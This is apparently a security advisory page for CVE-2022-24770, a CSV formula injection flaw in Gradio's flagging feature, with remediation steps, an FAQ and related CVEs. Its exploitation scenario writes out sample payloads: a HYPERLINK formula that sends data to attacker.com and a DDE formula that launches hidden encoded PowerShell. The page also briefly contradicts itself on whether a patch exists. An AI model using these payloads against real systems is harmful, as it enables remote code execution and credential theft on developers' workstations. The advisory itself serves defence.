CVE-2022-24770: Gradio: CSV formula injection via flagging enables RCE
HIGH PoC AVAILABLEAny Gradio-based ML demo with flagging enabled allows end users to inject spreadsheet formulas into developer-side CSV logs. When a developer opens that CSV in Excel or similar tools, arbitrary commands execute on their machine — a classic developer-chain attack that pivots from a public ML interface to an internal workstation. Patch to 2.8.11 immediately; if unpatched, disable flagging or configure CSV consumers to never open these files in spreadsheet software.
Risk Assessment
High risk for organizations running Gradio-powered demos or internal tools with flagging enabled. The attack requires no authentication, no AI/ML knowledge, and only basic formula injection skills — trivially accessible to any user of the demo. The impact lands on developer machines, not end users, making it a targeted developer-chain threat. Exposure is broad given Gradio's widespread adoption in ML prototyping and Hugging Face Spaces.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| gradio | pip | — | No patch |
Do you use gradio? You're affected.
Severity & Risk
Attack Surface
Recommended Action
5 steps-
Patch: Upgrade Gradio to 2.8.11 or later (single-quote escaping is applied to CSV outputs).
-
Workaround if patching is delayed: disable the flagging feature in Gradio configuration or restrict who can trigger flags.
-
Process control: instruct all team members to never open Gradio-generated CSVs directly in Excel — use Python/pandas for review instead.
-
Detection: search flagged CSV files for cells starting with =, +, -, or @ characters (formula injection markers).
-
Audit: review flagged CSV files already on disk for injected formulas before opening.
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2022-24770?
Any Gradio-based ML demo with flagging enabled allows end users to inject spreadsheet formulas into developer-side CSV logs. When a developer opens that CSV in Excel or similar tools, arbitrary commands execute on their machine — a classic developer-chain attack that pivots from a public ML interface to an internal workstation. Patch to 2.8.11 immediately; if unpatched, disable flagging or configure CSV consumers to never open these files in spreadsheet software.
Is CVE-2022-24770 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2022-24770, increasing the risk of exploitation.
How to fix CVE-2022-24770?
1. Patch: Upgrade Gradio to 2.8.11 or later (single-quote escaping is applied to CSV outputs). 2. Workaround if patching is delayed: disable the flagging feature in Gradio configuration or restrict who can trigger flags. 3. Process control: instruct all team members to never open Gradio-generated CSVs directly in Excel — use Python/pandas for review instead. 4. Detection: search flagged CSV files for cells starting with =, +, -, or @ characters (formula injection markers). 5. Audit: review flagged CSV files already on disk for injected formulas before opening.
What systems are affected by CVE-2022-24770?
This vulnerability affects the following AI/ML architecture patterns: ML demo platforms, model evaluation pipelines, data labeling and flagging workflows, model serving.
What is the CVSS score for CVE-2022-24770?
CVE-2022-24770 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.59%.
Technical Details
NVD Description
`gradio` is an open source framework for building interactive machine learning models and demos. Prior to version 2.8.11, `gradio` suffers from Improper Neutralization of Formula Elements in a CSV File. The `gradio` library has a flagging functionality which saves input/output data into a CSV file on the developer's computer. This can allow a user to save arbitrary text into the CSV file, such as commands. If a program like MS Excel opens such a file, then it automatically runs these commands, which could lead to arbitrary commands running on the user's computer. The problem has been patched as of `2.8.11`, which escapes the saved csv with single quotes. As a workaround, avoid opening csv files generated by `gradio` with Excel or similar spreadsheet programs.
Exploitation Scenario
An adversary discovers a public-facing Gradio-based ML demo (e.g., a text classification or image captioning tool). They submit a crafted input containing a CSV formula payload such as `=HYPERLINK("http://attacker.com/"&C1,"Click")` or `=cmd|'/c powershell -nop -w hidden -enc <base64payload>'!A0` as the model input. Gradio's flagging mechanism saves this input verbatim to a CSV log on the developer's machine. When the developer reviews flagged samples in Excel to identify model weaknesses, the formula executes — delivering a reverse shell or exfiltrating environment variables and credentials from the developer workstation, providing a pivot point into the organization's internal infrastructure.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H References
- github.com/gradio-app/gradio/commit/80fea89117358ee105973453fdc402398ae20239 Patch 3rd Party
- github.com/gradio-app/gradio/pull/817 Patch 3rd Party
- github.com/gradio-app/gradio/security/advisories/GHSA-f8xq-q7px-wg8c 3rd Party
- github.com/ARPSyndicate/cvemon Exploit
- github.com/karimhabush/cyberowl Exploit
Timeline
Related Vulnerabilities
CVE-2023-25823 9.8 Gradio: hardcoded SSH key leaks via share=True demos
Same package: gradio CVE-2024-47167 9.8 Gradio: unauthenticated SSRF in /queue/join, internal pivot
Same package: gradio CVE-2024-39236 9.8 Gradio: code injection via component metadata (CVSS 9.8)
Same package: gradio CVE-2024-0964 9.4 Gradio: unauthenticated LFI exposes full server filesystem
Same package: gradio CVE-2024-4253 9.1 Gradio: CI/CD command injection enables secrets exfiltration
Same package: gradio
AI Threat Alert